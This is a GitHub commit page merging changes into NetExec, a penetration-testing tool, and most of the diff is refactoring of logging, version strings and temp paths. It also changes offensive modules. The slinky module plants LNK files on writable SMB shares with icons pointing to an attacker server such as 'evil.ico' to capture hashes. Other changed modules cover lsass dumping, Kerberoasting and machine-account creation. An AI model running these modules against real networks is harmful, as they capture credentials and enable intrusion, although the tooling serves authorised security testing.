Skip to content

Commit

Permalink
Merge main into kali-packaging
Browse files Browse the repository at this point in the history
  • Loading branch information
NeffIsBack committed Apr 18, 2024
2 parents 2189b45 + f3fd612 commit bc50a2c
Show file tree
Hide file tree
Showing 25 changed files with 182 additions and 96 deletions.
2 changes: 2 additions & 0 deletions netexec.spec
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
Expand Down Expand Up @@ -71,6 +72,7 @@ a = Analysis(
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
Expand Down
14 changes: 11 additions & 3 deletions nxc/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,13 +9,20 @@
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.logger import nxc_logger
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata


def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
setup_debug_logging()

try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")

parser = argparse.ArgumentParser(description=rf"""
. .
Expand All @@ -34,6 +41,7 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""", formatter_class=RawTextHelpFormatter)

parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
Expand Down Expand Up @@ -95,7 +103,7 @@ def gen_cli_args():
sys.exit(1)

if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)

return args
Expand Down
5 changes: 5 additions & 0 deletions nxc/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@

from impacket.dcerpc.v5 import transport
import sys
import contextlib

sem = BoundedSemaphore(1)
global_failed_logins = 0
Expand Down Expand Up @@ -125,6 +126,10 @@ def __init__(self, args, db, host):
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
finally:
self.logger.debug(f"Closing connection to: {host}")
with contextlib.suppress(Exception):
self.conn.close()

@staticmethod
def proto_args(std_parser, module_parser):
Expand Down
24 changes: 24 additions & 0 deletions nxc/logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,31 @@
from rich.logging import RichHandler
import functools
import inspect
import argparse


def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args

def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")

if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)


def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
Expand Down Expand Up @@ -72,6 +95,7 @@ def __init__(self, extra=None):
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)

def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
Expand Down
6 changes: 2 additions & 4 deletions nxc/modules/add-computer.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
from impacket.dcerpc.v5 import samr, epm, transport
import sys


class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Expand Down Expand Up @@ -41,6 +40,7 @@ def options(self, context, module_options):

if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True

Expand Down Expand Up @@ -87,8 +87,7 @@ def on_login(self, context, connection):
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
else:
sys.exit(1)


def do_samr_add(self, context):
"""
Expand Down Expand Up @@ -178,7 +177,6 @@ def do_samr_add(self, context):
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
sys.exit(1)
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/lsassy.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ def on_admin_login(self, context, connection):
context.log.fail("Unable to dump lsass")
return False

parsed = Parser(file).parse()
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
Expand Down
6 changes: 3 additions & 3 deletions nxc/modules/msol.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
import sys
from nxc.paths import TMP_PATH
from nxc.helpers.powershell import get_ps_script


Expand Down Expand Up @@ -49,14 +49,14 @@ def exec_script(self, _, connection):

def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
file_to_upload = f"{TMP_PATH}/msol.ps1"

try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
exit(1)

else:
if path.isfile(self.MSOL_PS1):
Expand Down
2 changes: 1 addition & 1 deletion nxc/modules/nanodump.py
Original file line number Diff line number Diff line change
Expand Up @@ -174,7 +174,7 @@ def on_admin_login(self, context, connection):
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
Expand Down
3 changes: 2 additions & 1 deletion nxc/modules/scuffy.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import ntpath
from sys import exit
from nxc.paths import TMP_PATH


class NXCModule:
Expand Down Expand Up @@ -44,7 +45,7 @@ def options(self, context, module_options):
exit(1)

self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")

if not self.cleanup:
Expand Down
72 changes: 45 additions & 27 deletions nxc/modules/slinky.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,71 +7,89 @@ class NXCModule:
"""
Original idea and PoC by Justin Angel (@4rch4ngel86)
Module by @byt3bl33d3r
Updated by @Marshall-Hallenbeck
"""

name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True

def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.server = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.cleanup = None

def options(self, context, module_options):
"""
SERVER IP of the SMB server
NAME LNK file name
r"""
SERVER IP of the listening server (running Responder, etc)
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False

if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug("Cleanup set to True")

if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)

if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")

if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)


if "ICO_URI" in module_options:
self.ico_uri = module_options["ICO_URI"]
context.log.debug("Overriding")


self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")

if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()

def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
if shares:
slinky_logger = context.log.init_log_file()
context.log.add_file_log(slinky_logger)

for share in shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue

context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
17 changes: 2 additions & 15 deletions nxc/netexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,6 @@
from os.path import exists
from os.path import join as path_join
from sys import exit
import logging
from rich.progress import Progress
import platform

Expand Down Expand Up @@ -67,29 +66,17 @@ async def start_run(protocol_obj, args, db, targets):

def main():
first_run_setup(nxc_logger)
root_logger = logging.getLogger("root")
args = gen_cli_args()

if args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)

# if these are the same, it might double log to file (two FileHandlers will be added)
# but this should never happen by accident
if config_log:
nxc_logger.add_file_log()
if hasattr(args, "log") and args.log:
nxc_logger.add_file_log(args.log)

nxc_logger.debug("PYTHON VERSION: " + sys.version)
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
nxc_logger.debug(f"Passed args: {args}")

# FROM HERE ON A PROTOCOL IS REQUIRED
Expand Down
2 changes: 1 addition & 1 deletion nxc/protocols/ftp/database.py
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,7 @@ def reflect_tables(self):
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
Expand Down
4 changes: 2 additions & 2 deletions nxc/protocols/ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -942,7 +942,7 @@ def asreproast(self):

def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
attributes = [
"servicePrincipalName",
"sAMAccountName",
Expand Down Expand Up @@ -993,7 +993,7 @@ def kerberoasting(self):

if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
else:
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
except Exception as e:
Expand Down
Loading

0 comments on commit bc50a2c

Please sign in to comment.